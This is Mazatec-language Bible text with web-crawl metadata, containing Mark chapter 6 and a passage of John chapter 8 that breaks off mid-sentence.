tsjáya ra xa̱jté. Tanga kì tà chjàn jò na̱chro̱ jcha̱a. 10Kitsó‑isa‑la̱: ―'Kia̱ nga jngo na̱xi̱ndá kijcho, jngo ni'ya ti̱tsa̱jna skanda 'kia̱ nga kítjo̱jin‑no jè na̱xi̱ndá ra̱kìi̱. 11Tsa jngo na̱xi̱ndá mì kì ska̱ábétjò‑no, tsa majìn‑la̱ nga kji̱'nchré‑no, títjo̱jion, tìtsajnè chijo‑la̱ ndsa̱kò mé‑ni nga katasijin‑la̱ nga ijye tjín jngo kjoa̱ ra kondra̱ 'tse̱. [Ra kjo̱hixi̱, 'koa̱á xin‑no, 'kia̱ nga ki̱jchò ni̱chjin‑la̱ jñà na̱xi̱ndá kìi̱ nga si̱ndajín‑la̱, isa̱á tse kjo̱hi'in 'se̱‑la̱ koni jè kjo̱hi'in ra ki'tsì‑la̱ na̱xi̱ndá Sodoma ko̱ Gomorra.] 12Jñà xi̱ta̱‑la̱ Jesús ra tejò ma‑ni kijì‑ní nga kiì 'kéna̱jmíya; 'koa̱á kitsò‑la̱ xi̱ta̱ nga katasíkájno‑ni jé‑la̱ ko̱ kì ti̱ tsja jé bátsji‑ni. 13Ti̱'koa̱á kjín inìma̱ 'cho‑la̱ ni̱í tsachrjejin ya̱ inìma̱‑la̱ xi̱ta̱ ko̱ ti̱'koa̱á kjín xi̱ta̱ ra kiya isinda‑ni nga tsjahíjno‑la̱ sihìti̱. 14Jè Herodes ra xi̱ta̱ xá ítjòn tíjna, kií'nchré‑ní ra a̱'ta 'tse̱ Jesús nga ijye jndíi̱ ra ján na̱xi̱ndá ina'yá‑la̱ kjoa̱ ra 'sín. Tjín xi̱ta̱ ra kitsò: ―Jé Juan ra tsatíndá xi̱ta̱ ra jaáya‑ila̱. 'Koa̱á ma‑ni nga ko̱tjín nga'ñó ra bakón nga tí'sín kjo̱xkón kìi̱. 15Tanga tjín i'ka xi̱ta̱ ra kitsò: ―Majìn, jè‑ní ra 'mì Elías. Ko̱ ti̱'koa̱ tjín i'ka ra kitsò‑te: ―Jè jaáya jngo‑la̱ xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱. 16Jè Herodes 'kia̱ nga kií'nchré, kitsó‑ní: ―Jè kitií‑la Juan ra tsatíndá xi̱ta̱ jaáya‑la̱, jè ra 'a̱n ísi'kée̱n nga tsatesiaa̱n. 17Kií ko̱'sín kitsò‑ni jè Herodes, nga̱ jé kjón tsikí'tin xi̱ta̱ nga ti̱'sa̱ kjotseé nga itsabá'ñó jè Juan ko̱ nga iskanì'sen nda̱yá, tà nga̱tjì‑la̱ chjo̱ón ra 'mì Herodías. Herodías chjo̱ón‑la̱á kjomà Felipe, ko̱ jè Felipe 'ndse̱é jo̱ó ko̱ jè Herodes. Tanga jé Herodes tsikijnako̱ chjo̱ón‑la̱ 'ndse̱. 18Ta kií jé kjomà‑ila̱ Juan nga kitsò‑la̱ jè Herodes: ―Mì kì tjí'nde‑jìn nga ti̱ji̱ ki̱jnako̱‑ni jè chjo̱ón‑la̱ 'ndsì. 19Jè chjo̱ón ra 'mì Herodías, kjojtikeé jè Juan; mején‑la̱ nga si̱ì'ken, tanga mì kì ma kó'sín isìko̱. 20Tanga jè Herodes, bexkón ko̱ síkinda̱‑ni jè Juan, nga̱ ijyeé tjíjin‑la̱ nga xi̱ta̱ kixi̱‑ní ko̱ xi̱ta̱ tsje‑ní. Herodes 'kia̱ nga báko̱ Juan, ta síkítsjen‑ní a ki̱tjasòn‑la̱ o̱ ra majìn‑ní jñà 'én ra tí'sena̱jmí‑la̱; tanga 'ñó matsja‑la̱ nga 'nchré‑la̱. 21Ijchó jngo ni̱chjin nga itjasòn koni 'sín nga mejèn‑la̱ jè chjo̱ón ra 'mì Herodías, jè ni̱chjin 'kia̱ nga jngo 'sí tsikíjna jè Herodes nga ijye‑la̱ nó, tsakjèn‑ko̱ó jñà xi̱ta̱xá xákjién ra tjíhijyo ítjòn‑la̱ na̱xi̱ndá ko̱ jñà xi̱ta̱ ítjòn‑la̱ chíchàn ko̱ nga'tsì xi̱ta̱ nchi̱ná 'tse̱ na̱xi̱ndá Galilea. 22Ti̱'koa̱á ijchó tsati‑la̱ chjo̱ón ra 'mì Herodías; 'jaha'sen ni'ya ñánda̱ nga tjíhijyo jñà xi̱ta̱ nga kitè. Jè Herodes, ko̱ xi̱ta̱ ra ya̱ títsa̱jna, ndaá isasèn‑la̱ koni 'sín kitè jè tsati. Herodes kitsó‑la̱ jè tsati: ―Ti̱jé‑ná ta mé ra mejèn‑li, tsjaá‑la. 23'Koa̱á 'sín kitsjà‑la̱ tsa'ba nga kitsò‑la̱: ―Tsjaá‑la ta mé ra mejèn‑li ni̱'sín masen nangi jè ra 'a̱n batexóma‑la. 24Jè tsati, itjoó ni'ya, iskonangi‑la̱ na̱‑la̱. Kitsò‑la̱: ―¿Mé ra síjé‑la̱? Jè na̱‑la̱. Kitsó‑la̱: ―Ti̱jé‑la̱ sko̱ Juan, jè ra batíndá xi̱ta̱. 25Jè tsati, ndi̱to̱ón 'jaha'sen india‑ni ya̱ ni'ya ñánda̱ nga tíjna xi̱ta̱xá ítjòn. Kitsò‑la̱: ―Jé mejèn‑na nga jè sko̱ Juan ra batíndá xi̱ta̱, 'ndi̱ kjón 'ndi̱, 'tiì‑ná nga ti̱kíjnaya‑ná jngo chro̱ba̱te. 26Jè xi̱ta̱xá ítjòn Herodes 'ñó kjoba‑la̱ 'kia̱ nga kií'nchré. Tanga ijyeé ko̱'sín kitsjà‑la̱ tsa'ba ya̱ ngixko̱n xi̱ta̱ ra ya̱ títsa̱jna'tako̱ ímixa̱; ko̱ kií ko̱'sín kisìhitjasòn‑la̱ koni 'sín nga kisíjé jè tsati. 27Jè Herodes, 'kia̱á isìkasén jngo chíchàn‑la̱ ya̱ ñánda̱ nga tíjna nda̱yá jè Juan nga ikatesin, mé‑ni nga katanchrabáko̱ jè sko̱. 28Jè chíchàn tsatesiín Juan, a̱kjòn 'jiìkó sko̱; tíjnaya jngo‑la̱ chro̱ba̱te; kitsjà‑la̱ jè tsati; ko̱ jè tsati isìnga̱tsja na̱‑la̱. 29'Kia̱ nga kií'nchré xi̱ta̱ ra kotá'yá'ta‑la̱ Juan nga ijye 'ken, 'jií'ká ijo‑la̱; a̱kjòn kiìko̱ nga kiì kájnaya jngo nga̱jo̱ chrjó mi'ken. 30'Kia̱ nga 'ji‑ni jñà xi̱ta̱ ra tsikíxáya‑la̱ Jesús, tsi'kéna̱jmí‑la̱ nga'tsì kjoa̱ ra ki'sìn ko̱ ra tsakón‑ya ñánda̱ nga kijì. 31Jesús kitsó‑la̱: ―Nchrabá, tjiaán, mé‑ni nga ma si̱kjáya i̱tsé ya̱ i̱'nde ra a̱'ta xìn ñánda̱ nga mì yá xi̱ta̱ tjín. Kií ko̱ kitsò‑ila̱ ta nga̱tjì‑la̱ nga kjín jchán ma‑ni xi̱ta̱ ra ko̱'ki nchrabá ko̱ ra ko̱'ki fì, skanda mí kì ma'a‑la̱ nga bakjèn. 32'Kia̱á kijì ra ta jñà, nga tsikitsa̱jnaya jngo chitso, kijì jngo i̱'nde ra a̱'ta xìn ñánda̱ nga mì kì yá xi̱ta̱ tjín. 33Tanga kjín xi̱ta̱ kijtse 'kia̱ nga kijì. 'Kia̱ nga kijtsexkon nga jé Jesús, kjín xi̱ta̱ kijìtji̱ngi‑la̱ ra ya̱ itjojin‑ni jñà na̱xi̱ndá ra ya̱ kjihijyo chraña nga ndsa̱ko̱ kijì‑ni; skanda jñá ijchò ítjòn. 34'Kia̱ nga itjojen Jesús jè chitso, kijtse‑ní xi̱ta̱ ra ya̱ títsa̱jna nga kjín jchán ma‑ni; kjòhi̱ma̱ke‑ní; nga̱ 'koa̱á 'sín kjòn ndí xi̱ta̱ kìi̱ koni jñà ndí forrè ra tsìn‑la̱ chji̱ngo̱ ra ko'ndá. A̱kjòn tsikí'tsia̱ko̱ nga kjìn 'én tsi'kéna̱jmíya‑la̱. 35'Kia̱ nga ijye 'ñó kjòhixòn, jñà xi̱ta̱‑la̱ Jesús ra kotá'yá'ta‑la̱ ijchò kincha'ta chrañaá‑la̱, nga kitsò‑la̱: ―Ijyeé kjòhixòn; ko̱ i̱jndíi̱, i̱'nde'taxìn‑ní, nìmé ra tjín. 36Ko̱'tìn‑la̱ jñà xi̱ta̱ katafì‑nì, nga katatse tsajmì ra ski̱ne̱ ya̱ ni'ya ra i̱ kjihijyo chraña, ko̱ tsa ya̱ na̱xi̱ndá ra chraña'ta. 37Kiìchja̱á Jesús, kitsò‑la̱: ―Jiòn 'ti̱‑la ra ko̱kje̱n. Tanga kitsó jñà xi̱ta̱‑la̱: ―¿A mején‑li nga ko̱híjcha‑ji̱n ni̱ño̱ nchra̱jín? Tanga koni 'ki si̱ngi nga ma ko̱kje̱n xi̱ta̱ kìi̱, jò‑la sindo̱ ni̱chjin chjí‑la̱ xi̱ta̱ tjín‑ni. 38Kitsó Jesús: ―Tangió, chítsijen‑la kótjín ma‑ni ni̱ño̱ nchra̱jín‑no. 'Kia̱ nga kijtse kótjín ma‑ni, kitsó‑la̱: ―'Òn ma‑ni ni̱ño̱ nchra̱jín ko̱ jò ma‑ni ti̱. 39'Kia̱á kitsò Jesús katìtsa̱jnajtín jñà xi̱ta̱ ya̱ a̱jin ndi̱jyi̱ sa̱se̱. 40'Kia̱á tsikitsa̱jna jñà xi̱ta̱; jngó jngó sindo̱ tsikítsa̱jnajtín‑ni, ko̱ tjín ñánda̱ icháte icháte tsikítsa̱jnajtín‑ni. 41Jesús iskábé jñà ni̱ño̱ nchra̱jín ra 'òn ma‑ni ko̱ jñà ti̱ ra jò ma‑nioo̱. A̱kjòn iskotsíjen ya̱ ján ngajmi; kitsjá‑la̱ kjo̱nda Nainá; isìjòya jñà ni̱ño̱ nchra̱jín kìi̱ ko̱ kitsjá‑la̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱ nga isìka'bí‑la̱ nga'tsì xi̱ta̱ ra títsa̱jna. Ti̱'koa̱á isìjòya ti̱ ra jò ma‑nioo̱ nga kitsjà‑la̱ nga'tsì xi̱ta̱. 42Ndaá tsakjèn ijye xi̱ta̱ kóhotjío̱n skanda kjoski. 43'Kia̱ nga tsikíxkó‑ni xi̱‑la̱ ni̱ño̱ nchra̱jín ko̱ ti̱ ra kjoxkoa̱ ra tsijnengi‑ni, ngi tejò ndi̱si̱yá kjomà. 44Ko̱ jñà xi̱ta̱ ra tsakjèn, 'òn jmi ma‑ni ra ta xi̱ta̱ 'xi̱n. 45'Kia̱ nga ijye kjomà kjoa̱ kìi̱, Jesús, 'koa̱á kitsò‑la̱ xi̱ta̱ ra kotá'yá'ta‑la̱ nga kata'faha'sen jè chitso nga tje̱n katafì ítjòn mé‑ni nga isa̱ ítjòn ki̱jchò‑ni ján na̱xi̱ndá Betsaida, ya̱ ra ijngoa ndá ján; 'koa̱à‑la chi̱ba̱‑la̱ jè, tísíkjáya‑la̱ xi̱ta̱ ra ijye i̱nchifì‑ni. 46'Kia̱ nga ijye kijì‑ni nga'tsì xi̱ta̱, kiìmijín jngo nindo nga kijì chja̱'ta‑la̱ Nainá. 47'Kia̱ nga ijye kjòjñò, jè chitso, ijyeé ya̱ tsá'bajin nga masen‑la̱ ndáchikon. Ko̱ jè Jesús, ta jè ta̱jngoó isijna ya̱ a̱ndi nandá ñánda̱ nga nangi. 48Kijtseé jè chitso nga mì kì ma fì, ta nga̱tjì‑la̱, jè tjo̱ batéchjà ikon‑la̱ koni 'sín nga i̱nchifì. 'Kia̱ nga ijye tí'se i̱sén, Jesús, ya̱á tsá'basòn nandá nga ijchòtji̱ngi‑la̱ xi̱ta̱‑la̱ ra tjítsa̱ya chitso. Tanga, 'koa̱á 'sín ki'sìn koni tsa mejèn‑la̱ nga 'koa̱ ítjòn‑la̱. 49Jñà xi̱ta̱‑la̱, 'kia̱ nga kijtse nga ya̱ tsá'basòn nandá, iskindaya xkón‑ní; 'koa̱á 'sín isíkítsjen tsa xi̱ta̱ tj'ee̱‑ní; 50nga̱ nga'tsí‑ni nga kijtse, ko̱ 'ñó itsakjòn‑la̱; tanga Jesús ndi̱to̱ón kiìchja̱‑la̱, kitsò‑la̱: ―'Ñó 'tè‑la takòn, kì tà chjàn skon, 'a̱n‑náa̱. 51'Kia̱ nga 'jaha'sen chitso Jesús, ndi̱to̱ón isijyò‑ni tjo̱. Ngi tà kjóxkón‑la̱ jñà xi̱ta̱‑la̱, 52ta nga̱tjì‑la̱ nga takó kjè kì nda machi̱ya‑la̱ jè kjo̱xkón ra kisìko̱ jñà ni̱ño̱ nchra̱jín, nga̱ ki, takó 'ñó tájajín tjín‑isa ya̱ a̱jin inìma̱‑la̱. 53'Kia̱ nga ijye tsatojin ya̱ ndáchikon, ijchó ján nangi Genesaret; ya̱á tsikíté'ñó chitso‑la̱ ya̱ a̱ndi ndáchikon. 54'Kia̱ nga ijye itjojen ijye chitso, jñà xi̱ta̱ ra ya̱ tjítsa̱jna, ndi̱to̱ón kijtsexkon nga jé Jesús. 55Ti̱'koa̱á ndi̱to̱ón kijì ya̱ nga tíjngo a̱ndi‑la̱ i̱'nde ra̱kìi̱. A̱kjòn tsikí'tsia̱ xi̱ta̱ nga 'jiìkó‑la̱ nga'tsì xi̱ta̱ ra kiya; kjisòn‑la̱ na̱chan‑yá, ya̱ i̱'nde ñánda̱ nga kií'nchré xi̱ta̱ nga bijchó Jesús ya̱á ijchòko̱‑la̱. 56Ni̱ ta ñánda̱ na̱xi̱ndá nga 'jaha'sen Jesús, a na̱xi̱ndá jtobá‑ní, o̱ ra na̱xi̱ndá i'i‑ní, ko̱ a ya̱‑ní ñánda̱ maxáko̱ jè nangi, jñà xi̱ta̱, ya̱á síkáhijyo jñà xi̱ta̱ ra kiya ya̱ nga masen‑la̱ ndi̱yá; a̱kjòn bítsa'ba‑la̱ Jesús nga katatsjá'nde‑la̱ jñà xi̱ta̱ ra kiya nga katabá'ta‑la̱ tsja ni̱'sín tà ya̱ a̱tjòn nikje‑la̱, mé‑ni nga ko̱nda‑ni. Ko̱ nga'tsì xi̱ta̱ ra tsaká'ta‑la̱ tsja ya̱ nikje‑la̱ Jesús, kjondaá‑ni.\nSan Marcos 6","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Mark\/6","date":"2013-12-13T05:00:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164884560\/warc\/CC-MAIN-20131204134804-00097-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000088214874268}","num_words":1508,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.328,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Tanga jè Jesús ya̱á kijì ya̱ nindo Yá Olivo. 2'Kia̱ nga ma nchijòn, ta̱jñó 'ji ya̱ i̱ngo̱ ítjòn. Nga'tsì jñà xi̱ta̱ ya̱á 'ji tjíngi‑la̱. 'Kia̱á tsikijna Jesús nga tsakón‑ya‑la̱. 3Jñà xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés ko̱ jñà xi̱ta̱ fariseo, ijchòko̱ó jngo‑la̱ chjo̱ón ra kijcha'tín‑la̱ 'kia̱ nga tí'sín kjoa̱chijngi. Tsasíjnajin masen ñánda̱ nga tjín xi̱ta̱. 4Ko̱ a̱kjòn kitsò‑la̱ Jesús: ―Maestro, jè chjo̱ón ra̱kìi̱, nda kjón ka'ya'tín‑la̱ 'kia̱ nga tí'sín kjoa̱chijngi. 5Moisés, 'koa̱á 'sín tsikí'tin‑ná a̱'ta 'tse̱ kjo̱téxoma‑la̱ nga na̱jo̱‑ró ki̱yá‑ni jñà íchjín ra ko̱'sín 'sín. ¿Kó'sín sii̱ ra ji̱? 6Jñà xi̱ta̱ kìi̱, kií ko̱'sín kitsò‑la̱ Jesús ta mejèn‑la̱ nga sko̱ó'ta, mé‑ni nga ko̱ma sa̱kò‑ila̱ kjoa̱ ra koa̱ànè‑la̱ nga koa̱àngi ra a̱'ta 'tse̱ xi̱ta̱xá. Tanga Jesús tsikijna-niña‑ní ya̱ a̱'ta nangi, a̱kjòn ko̱ó na̱jmá‑tsja tsikínda‑ni letra ya̱ a̱'ta nangi. 7Xi̱ta̱ kìi̱, sií ki'sìn‑la̱ Jesús nga iskonangi‑la̱. 'Kia̱á tsasijna kixi̱ Jesús, kitsò‑la̱: ―Tsa tíjnajin jngo‑no xi̱ta̱ ra ni̱mé jé tjín‑la̱, jè kata'bé ítjòn‑la̱ na̱jo̱ jè chjo̱ón ra̱kìi̱. 8A̱kjòn tsikijna-niña india‑ni a̱'ta nangi nga tsikínda‑isa letra. 9Jñà xi̱ta̱ kìi̱, 'kia̱ nga kií'nchré 'én kìi̱, jngó jngó kijì‑ni nga kjòchi̱ya‑la̱ nga 'choó tjítsa̱jna kjo̱bítsjen‑la̱. Jñà kjòn tsikí'tsia̱ ítjòn‑ni nga itjo jñà ra isa̱ jchínga. Ta jé Jesús ko̱ chjo̱ón isìhijyo‑isa. 10'Kia̱á tsasèn kixi̱‑ni Jesús; kijtse‑ní nga mì kì ti̱ yá tjín‑ni; tà jé chjo̱ón isijna ta̱jngo‑isa, 'kia̱á kitsò‑la̱: ―¿Ñánda̱ tjíhijyo‑ni jñà xi̱ta̱ ra bángi‑li? ¿A ni̱jngo ra kàtsò ikon nga kátsjá‑li kjo̱hi'in? 11Kitsó jè chjo̱ón: ―Mì tsa yá‑jìn Na̱'ìn. 'Kia̱á kitsò‑la̱ Jesús: ―Ti̱'koa̱á 'a̱n, nì mé jé koné‑la, 'tin‑ni; tanga kì ti̱ tsja fatsji-jé‑ni. 12Jesús, 'kia̱á kiìchja̱ india‑ni nga kitsò: ―'A̱án‑ná ni'í ra síhisen‑la̱ i̱sà'nde; jè ra 'a̱n fì'ta‑na 'se̱é‑la̱ ni'í ra tsjá kjo̱binachon, ko̱ mì ti̱ kjoa̱jñò ko̱jmejín‑ni. 13Jñà xi̱ta̱ fariseo kitsó‑la̱: ―Ti̱ji̱í tji'bi‑ni 'én ra a̱'ta tsa̱ji, ko̱ jè 'én ra nakjíi̱, ni̱mé chjí‑la̱. 14Jesús kitsó‑la̱: ―Jè 'én ra chjàa̱, chjí‑la̱ ni̱'sín ti̱'a̱n tsja‑na 'én ra a̱'ta tsa̱'a̱n; nga̱ be‑ná ñánda̱ nga 'jíi̱‑na, ko̱ be‑náa̱ ñánda̱ nga tífiàa̱; tanga mì kì 'ya jiòn ñánda̱ 'jíi̱‑na ko̱ ñánda̱ nga tífiàa̱. 15Tanga jiòn, kjo̱bítsjen 'tse̱ xi̱ta̱á nichjeén jiòn 'kia̱ nga fanè jé‑ná jiòn, tanga 'a̱n mì tsa yá ra taxki̱ bané jé‑la̱; 16'a̱n, tsa yá ra koné jé‑la̱, 'koa̱á 'sín kindájín‑la̱ koni 'sín tjín jè kjo̱hixi̱; nga̱ mì tsa ta 'a̱n ta̱jngo bindájiáa̱n; ti̱'koa̱á bíndajín‑ko̱ó‑na jè Na̱'ìn‑na̱ ra isìkasén‑na. 17Jè kjo̱téxoma‑najiòn, 'koa̱á 'sín tíchja̱, nga tsò: Tsa 'kia̱ jò ma‑ni xi̱ta̱ nga ngásòn tsò 'én ra tsjá, chjí‑la̱. 18Ti̱'a̱án‑tse‑na ra tsja 'én ra a̱'ta tsa̱'a̱n, ko̱ ti̱'koa̱á jè Na̱'ìn‑na̱ ra isìkasén‑na tsjá‑tse 'én ra a̱'ta tsa̱'a̱n. 19'Kia̱á jñà xi̱ta̱ iskonangi‑la̱: ―¿Ñánda̱ tíjna jè Na̱'ìn‑li? 'Kia̱á kitsò Jesús: ―'A̱n, nda mí 'yaxkon‑nájiòn, ti̱'koa̱ mì kì 'yaxkon jè Na̱'ìn‑na̱. Tsa ijyeé‑la 'yaxkon‑nájiòn tsiki, ti̱'koa̱á jcha̱xkoón‑la‑te jè Na̱'ìn‑na̱. 20'Kia̱á kiìchja̱ jñà 'én kìi̱ 'kia̱ nga tíjna ya̱ a̱ya i̱ngo̱ ítjòn ya̱ chraña'ta‑la̱ i̱'nde ñánda̱ nga kjijna kàxa̱ to̱n limosna. Ni̱yá ra kitsò ikon nga itsabá'ñó ta nga̱tjì‑la̱ kjè kì bijchó ni̱chjin‑la̱ nga ki̱yá. 21Jesús india ko̱kitsò‑ila̱ xi̱ta̱: ―'A̱n, tífi‑ná, ko̱ kjótsji‑nájiòn, tanga ya̱á ki̱yá jiòn jé‑no. Nga̱ ya̱ ñánda̱ nga tífia ra 'a̱n, mì kì ko̱ma kongí jiòn. 22'Kia̱á kitsò‑la̱ xákjién jñà xi̱ta̱ judío: ―¿A tà ya̱á si̱ì'ken ijo‑la̱ tsa 'koa̱? ¿Mé‑ni tsò‑ni nga mì kì ko̱ma kongié ra jién, ya̱ ñánda̱ tífì ra jè? 23Jesús kitsó‑la̱: ―Jiòn ta i̱í a̱'ta nangi tsa̱jiòn, tanga ra 'a̱n ya̱á ján i'ngaá tsa̱'a̱n; jiòn i̱í i̱sà'nde tsa̱jiòn, tanga mì tsa i̱ i̱sà'nde tsa̱'a̱n. 24Kií ko̱'sín tíxian‑najiòn, nga̱ ya̱á ki̱yájiòn jé‑no; tsa mì kì ko̱kjiín‑najiòn nga 'A̱n‑ná, ya̱á ki̱yá jiòn jè jé ra tjín‑no. 25Jñà xi̱ta̱ 'kia̱á iskonangi‑la̱, kitsò‑la̱: ―¿Yá nì ra ji̱? Jesús kitsó‑la̱: ―Ijyeé 'koa̱á 'sín kíxin‑najiòn 'kia̱ nga ti̱'sa̱ ítjòn, yá‑na ra 'a̱n. 26Tjín jchán‑isa‑na mé 'én ra 'kenájmí‑najiòn ko̱ mé kjoa̱ ra koné jé‑no. Tanga jè ra isìkasén‑na, ngi 'én kixi̱í ra chja̱ ko̱ jè 'én ra 'a̱n tí'bènájmí‑la̱ jñà xi̱ta̱ i̱sà'nde, jñà 'én ra kí'nchre‑la̱ ra a̱'ta 'tse̱. 27Tanga jñà xi̱ta̱ judío mì kì kjòchi̱ya‑la̱ tsa jè‑ni Nainá ra Na̱'ín‑ná ma ra ko̱títsò‑la̱ Jesús. 28Kií kitsò‑isa‑ila̱ Jesús: ―'Kia̱ nga chjíhi'nga‑nájiòn 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱, 'kia̱á ko̱chi̱ya‑najiòn nga 'A̱án‑ná, ko̱ nga mì tsa ta 'a̱n tíbi'tín‑la̱ ijo‑na̱ koni 'sín nga tíchjà, ta 'koa̱á 'sín tíchjàa̱ koni 'sín nga ikon‑ya‑na jè Nainá ra Na̱'ìn ma. 29Nga̱ jè ra isìkasén‑na i̱í tíjnako̱‑na; Na̱'ìn‑na̱ mì kì síkíjna ta̱jngo‑na, nga̱ ki, ni̱chjin nchijón sìhitjásòo̱n koni 'sín nga sasén‑la̱ ra jè. 30'Kia̱ nga kiìchja̱ Jesús jñà 'én kìi̱, kjín jchán xi̱ta̱ kjokjiín‑la̱ ra a̱'ta 'tse̱. 31Jesús kitsó‑la̱ jñà xi̱ta̱ judío ra kjokjiín‑la̱ a̱'ta 'tse̱: ―Tsa ko̱'sín nda si̱hitjasòn kiti jiòn jñà 'én‑na̱, jión‑nájiòn ra ngi kixi̱ kjoa̱ nga ya̱ kotá'yá'ta‑na. 32Jcha̱xkon‑nájiòn ra ngi kjo̱hixi̱, ko̱ jé kjo̱hixi̱ si̱ìkítsa̱hijyondi̱í‑no. 33Kiìchja̱á jñà xi̱ta̱ judío, kitsò: ―Ngaji̱n xi̱ta̱ tje̱‑la̱ Abraham‑náji̱n; kjè tsa yá ra bìtsa̱hijyo'ñó‑naji̱n; ko̱, ¿mé‑ni si‑ni nga ki̱tsa̱jnandi̱í‑naji̱n? 34Jesús kitsó‑la̱: ―Ngi 'én kixi̱í ra ko̱xin‑no, nga'tsì jñà xi̱ta̱ ra bátsji‑jé, ya̱á títsa̱jnajin'ñó jè jé‑la̱, koni jngo chi̱'nda ra tíjna'ñó. 35Jngo xi̱ta̱ ra ta chi̱'nda tíjna, mì tsa ta ya̱ ko̱ma ki'ta ni'ya‑la̱ ya̱ ñánda̱ nga tísíxá, tanga jè ra i'ndí, ya̱á kíjna ki'ta ya̱ ni'ya‑la̱ na̱'ìn‑la̱. 36Tsa 'kia̱ jè I'ndí‑la̱ Nainá si̱ìkítsa̱jnandi̱í‑no, ngi ndaá ki̱tsa̱jnandi̱í kiti‑no. 37'A̱n ijyeé be‑ná nga tje̱‑la̱ Abraham‑nájiòn, tanga mejèn nì'ken‑nájiòn, ta nga̱tjì‑la̱ mì kì makjiín‑no jè 'én ra 'benájmí‑no. 38'Koa̱á 'sín chjàa̱ koni 'sín tjín kjoa̱ ra kíjtsee̱ 'kia̱ nga tsakáti̱jna'ta chraña‑la̱ Na̱'ìn‑na̱; ko̱ 'koa̱á 'sín 'nià jiòn koni 'sín tjín kjoa̱ ra kina'yá‑la jè na̱'ìn‑no. 39Jñà xi̱ta̱ judío kitsó‑ní: ―Jè tje̱‑na̱ji̱n, ya̱ inchrabà'ta‑ni 'tse̱ Abraham jè ra na̱'ìn jchá‑na̱ji̱n ma. Tanga Jesús kitsó‑la̱: ―Tsa kixi̱í‑la kjoa̱ nga i̱xti‑la̱ Abraham ma jiòn, 'koa̱à‑la 'sín 'sia̱an jiòn koni 'sín ki'sìn ra jè. 40Ni̱'sín ijye ko̱'sín tí'bènájmí kixi̱í‑najiòn nga Nainá kitsjà‑na jñà 'én ra chjàa̱, takó mejèn nì'ken‑nájiòn. Tanga jè Abraham ni̱kjiá ko̱'sín ki'sìn. 41'Koa̱á ti̱'sín 'nià jiòn koni 'sín 'sín jè ra ma na̱'ìn‑no. Jñà xi̱ta̱ judío kitsó‑ní: ―Ji̱n, mì tsa taxki̱ kitsin‑ji̱n; ta jngoó‑ní jè Nainá ra na̱'ìn‑na̱ji̱n ma. 42Jesús kiìchja̱ kitsò‑la̱: ―Tsa kixi̱í‑la kjoa̱ nga jè Nainá ma na̱'ìn‑najiòn, tsjachaá‑la̱ 'sia̱an‑nájiòn, nga̱ a̱'ta 'tse̱é Nainá inchrabà‑na. Mì tsa ta 'a̱n tsiki'tín‑la̱ ijo‑na̱ nga inchrabàa̱; jè Nainá isìkasén‑na. 43Kií mì kì machi̱ya‑najiòn jñà 'én ra tíbakó‑no, nga̱ mì kì ma‑najiòn nga nda na'yá. 44Jè xi̱ta̱‑ni̱í‑ní ra ma jè na̱'ìn‑najiòn; ya̱á nakjoá‑najiòn ko̱ 'koa̱á 'sín mejèn‑najiòn 'sia̱an koni 'sín mejèn‑la̱ ra jè. Jé xi̱ta̱‑ni̱í ra sí'ken xi̱ta̱ skanda ti̱'sa̱‑ni kjotseé. Ko̱ mì tsa 'én kixi̱ ra chja̱, nga̱ ki, mì tsa xi̱ta̱ kixi̱‑jìn ra jè. 'Kia̱ nga chja̱ 'én ndiso, 'koa̱á 'sín chja̱ koni 'sín tíjna inìma̱‑la̱. Nga̱ xi̱ta̱ ndiso‑ní, ngi jè sabá ma na̱'ìn‑la̱ ra 'én ndiso. 45Tanga 'a̱n, ra 'én kixi̱ ko̱tíxian‑no, mì kì makjiín‑no. 46¿Ra jiòn, yá ra ma‑la̱ koa̱ànè-jé‑na? Tsa ngi 'én kixi̱í ra ko̱tíxian‑najiòn. ¿Mé‑ni mì kì makjiín‑no? 47Jè ra xi̱ta̱‑la̱ Nainá, 'nchré jè 'én‑la̱ Nainá. Kií mì kì na'yá‑najiòn, nga̱ mì tsa xi̱ta̱‑la̱ Nainá 'mì‑no. 48Jñà xi̱ta̱ judío 'kia̱á kitsò‑la̱: ―Kixi̱ kitií‑naji̱n 'kia̱ nga ko̱'sín bixó‑ji̱n nga xi̱ta̱ Samaria‑ní ko̱ inìma̱ 'cho‑la̱ ni̱í tjíjin ya̱ inìma̱‑li. 49Jesús kitsó‑la̱: ―'A̱n, mì tsa inìma̱ 'cho‑la̱ ni̱í tjíjin ya̱ inìma̱‑na̱. Jè kjoa̱ ra tí'siaa̱n jè‑ní nga tíbexkóo̱n jè Na̱'ìn‑na̱; ko̱ mì kì ma‑no nga 'yaxkón‑ná, tà isa̱á jnchro nakjoájno‑nájiòn. 50Mì tsa jè tíbatsjía̱ nga jeya sìkíjnaa̱ ijo‑na̱, tanga tíjnaá jngo ra mejèn‑la̱ nga jeya kóti̱jnaa̱, ko̱ jè‑ní ra tíkosòn‑la̱. 51Ngi 'én kixi̱í ra ko̱xin‑no, jè ra si̱hitjasòn 'én‑na̱ mì kì ki̱yá. 52Jñà xi̱ta̱ judío kitsó‑la̱: ―Kixi̱ kitií‑la̱ kjoa̱ nga inìma̱ 'cho‑la̱ ni̱í tjíjin ya̱ inìma̱‑li. Jè Abraham ko̱ nga'tsì jñà xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱ kjotseé, 'ken‑ní, ko̱ ji̱ si‑ní: \"Jè ra si̱hitjasòn 'én‑na̱ koni 'sín nga chjàa̱, mì kì ki̱yá.\" 53Ji̱, ¿a isa̱á 'ñó tijni ra ji̱ koni jè xi̱ta̱ jchínga‑na̱ji̱n Abraham? 'Keén ra jè, ko̱ ti̱'koa̱á 'keén‑te nga'tsì xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱. ¿Kó'sín tjinachrjengi ijo‑li 'kia̱ nga 